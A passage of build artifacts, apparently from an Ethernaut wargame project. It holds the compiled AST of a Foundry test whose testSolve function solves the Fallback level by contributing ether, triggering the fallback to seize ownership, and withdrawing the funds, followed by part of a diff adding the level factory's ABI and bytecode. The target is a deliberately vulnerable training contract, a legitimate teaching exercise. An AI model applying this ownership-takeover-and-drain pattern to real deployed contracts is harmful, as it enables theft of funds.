FallbackFactory"}},"nodeType":"VariableDeclarationStatement","src":"970:47:129"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60712,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60700,"src":"1065:7:129","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}],"id":60711,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1057:7:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60710,"name":"address","nodeType":"ElementaryTypeName","src":"1057:7:129","typeDescriptions":{}}},"id":60713,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1057:16:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60709,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1051:5:129","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1051:23:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60706,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60643,"src":"1027:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60708,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1037:13:129","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1027:23:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60715,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1027:48:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60716,"nodeType":"ExpressionStatement","src":"1027:48:129"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60717,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1085:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60719,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1088:9:129","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1085:12:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1085:14:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60721,"nodeType":"ExpressionStatement","src":"1085:14:129"},{"expression":{"arguments":[{"id":60725,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60650,"src":"1124:6:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60722,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1110:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1113:10:129","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1110:13:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60726,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1110:21:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60727,"nodeType":"ExpressionStatement","src":"1110:21:129"},{"expression":{"id":60744,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60728,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"1141:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60733,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60643,"src":"1189:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60737,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60700,"src":"1214:7:129","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}],"id":60736,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1206:7:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60735,"name":"address","nodeType":"ElementaryTypeName","src":"1206:7:129","typeDescriptions":{}}},"id":60738,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1206:16:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60734,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1200:5:129","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60739,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1200:23:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1225:1:129","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60732,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1169:19:129","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1169:58:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60731,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1161:8:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60730,"name":"address","nodeType":"ElementaryTypeName","src":"1161:8:129","stateMutability":"payable","typeDescriptions":{}}},"id":60742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1161:67:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60729,"name":"Fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52371,"src":"1152:8:129","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Fallback_$52371_$","typeString":"type(contract Fallback)"}},"id":60743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1152:77:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"src":"1141:88:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"id":60745,"nodeType":"ExpressionStatement","src":"1141:88:129"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60746,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1239:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60748,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1242:9:129","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1239:12:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1239:14:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60750,"nodeType":"ExpressionStatement","src":"1239:14:129"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"677:5:129","parameters":{"id":60651,"nodeType":"ParameterList","parameters":[],"src":"682:2:129"},"returnParameters":{"id":60652,"nodeType":"ParameterList","parameters":[],"src":"692:0:129"},"scope":60824,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60773,"nodeType":"FunctionDefinition","src":"1512:137:129","nodes":[],"body":{"id":60772,"nodeType":"Block","src":"1539:110:129","nodes":[],"statements":[{"expression":{"arguments":[{"id":60759,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60650,"src":"1563:6:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60756,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1549:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60758,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1552:10:129","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1549:13:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60760,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1549:21:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60761,"nodeType":"ExpressionStatement","src":"1549:21:129"},{"expression":{"arguments":[{"arguments":[{"id":60764,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60643,"src":"1612:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60767,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"1631:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":60766,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1623:7:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60765,"name":"address","nodeType":"ElementaryTypeName","src":"1623:7:129","typeDescriptions":{}}},"id":60768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1623:17:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60763,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1592:19:129","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1592:49:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60762,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1580:11:129","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1580:62:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60771,"nodeType":"ExpressionStatement","src":"1580:62:129"}]},"documentation":{"id":60753,"nodeType":"StructuredDocumentation","src":"1444:63:129","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1521:8:129","parameters":{"id":60754,"nodeType":"ParameterList","parameters":[],"src":"1529:2:129"},"returnParameters":{"id":60755,"nodeType":"ParameterList","parameters":[],"src":"1539:0:129"},"scope":60824,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60823,"nodeType":"FunctionDefinition","src":"1704:346:129","nodes":[],"body":{"id":60822,"nodeType":"Block","src":"1732:318:129","nodes":[],"statements":[{"expression":{"arguments":[{"id":60780,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60650,"src":"1756:6:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60777,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1742:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60779,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1745:10:129","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1742:13:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60781,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1742:21:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60782,"nodeType":"ExpressionStatement","src":"1742:21:129"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":[],"expression":{"id":60783,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"1774:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"id":60785,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1783:10:129","memberName":"contribute","nodeType":"MemberAccess","referencedDeclaration":52318,"src":"1774:19:129","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$","typeString":"function () payable external"}},"id":60787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"302e30303031","id":60786,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1801:12:129","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000_by_1","typeString":"int_const 100000000000000"},"value":"0.0001"}],"src":"1774:40:129","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$value","typeString":"function () payable external"}},"id":60788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1774:42:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60789,"nodeType":"ExpressionStatement","src":"1774:42:129"},{"assignments":[60791,null],"declarations":[{"constant":false,"id":60791,"mutability":"mutable","name":"sent","nameLocation":"1833:4:129","nodeType":"VariableDeclaration","scope":60822,"src":"1828:9:129","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":60790,"name":"bool","nodeType":"ElementaryTypeName","src":"1828:4:129","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":60801,"initialValue":{"arguments":[{"hexValue":"","id":60799,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1875:2:129","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":60794,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"1850:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":60793,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1842:7:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60792,"name":"address","nodeType":"ElementaryTypeName","src":"1842:7:129","typeDescriptions":{}}},"id":60795,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1842:17:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":60796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1860:4:129","memberName":"call","nodeType":"MemberAccess","src":"1842:22:129","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":60798,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":60797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1872:1:129","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"1842:32:129","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":60800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1842:36:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1827:51:129"},{"expression":{"arguments":[{"id":60803,"name":"sent","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60791,"src":"1896:4:129","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4661696c656420746f2073656e6420457468657220746f2074686520696e7374616e6365","id":60804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1902:38:129","typeDescriptions":{"typeIdentifier":"t_stringliteral_1d49e41d53548e25df099fe3c71d335e12ba791db8b7a34e3d3fc14d78ba72a8","typeString":"literal_string \"Failed to send Ether to the instance\""},"value":"Failed to send Ether to the instance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_1d49e41d53548e25df099fe3c71d335e12ba791db8b7a34e3d3fc14d78ba72a8","typeString":"literal_string \"Failed to send Ether to the instance\""}],"id":60802,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1888:7:129","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":60805,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1888:53:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60806,"nodeType":"ExpressionStatement","src":"1888:53:129"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60807,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"1952:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"id":60809,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1961:8:129","memberName":"withdraw","nodeType":"MemberAccess","referencedDeclaration":52347,"src":"1952:17:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1952:19:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60811,"nodeType":"ExpressionStatement","src":"1952:19:129"},{"expression":{"arguments":[{"arguments":[{"id":60814,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60643,"src":"2013:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60817,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60646,"src":"2032:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":60816,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2024:7:129","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60815,"name":"address","nodeType":"ElementaryTypeName","src":"2024:7:129","typeDescriptions":{}}},"id":60818,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2024:17:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60813,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1993:19:129","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60819,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1993:49:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60812,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1982:10:129","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1982:61:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60821,"nodeType":"ExpressionStatement","src":"1982:61:129"}]},"documentation":{"id":60774,"nodeType":"StructuredDocumentation","src":"1655:44:129","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1713:9:129","parameters":{"id":60775,"nodeType":"ParameterList","parameters":[],"src":"1722:2:129"},"returnParameters":{"id":60776,"nodeType":"ParameterList","parameters":[],"src":"1732:0:129"},"scope":60824,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60637,"name":"Test","nameLocations":["365:4:129"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"365:4:129"},"id":60638,"nodeType":"InheritanceSpecifier","src":"365:4:129"},{"baseName":{"id":60639,"name":"Utils","nameLocations":["371:5:129"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"371:5:129"},"id":60640,"nodeType":"InheritanceSpecifier","src":"371:5:129"}],"canonicalName":"TestFallback","contractDependencies":[49101,52434,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[60824,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestFallback","nameLocation":"349:12:129","scope":60825,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":129} \ No newline at end of file diff --git a/contracts/out/FallbackFactory.sol/FallbackFactory.json b/contracts/out/FallbackFactory.sol/FallbackFactory.json new file mode 100644 index 000000000..f5a1ee04f --- /dev/null +++ b/contracts/out/FallbackFactory.sol/FallbackFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61077d8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b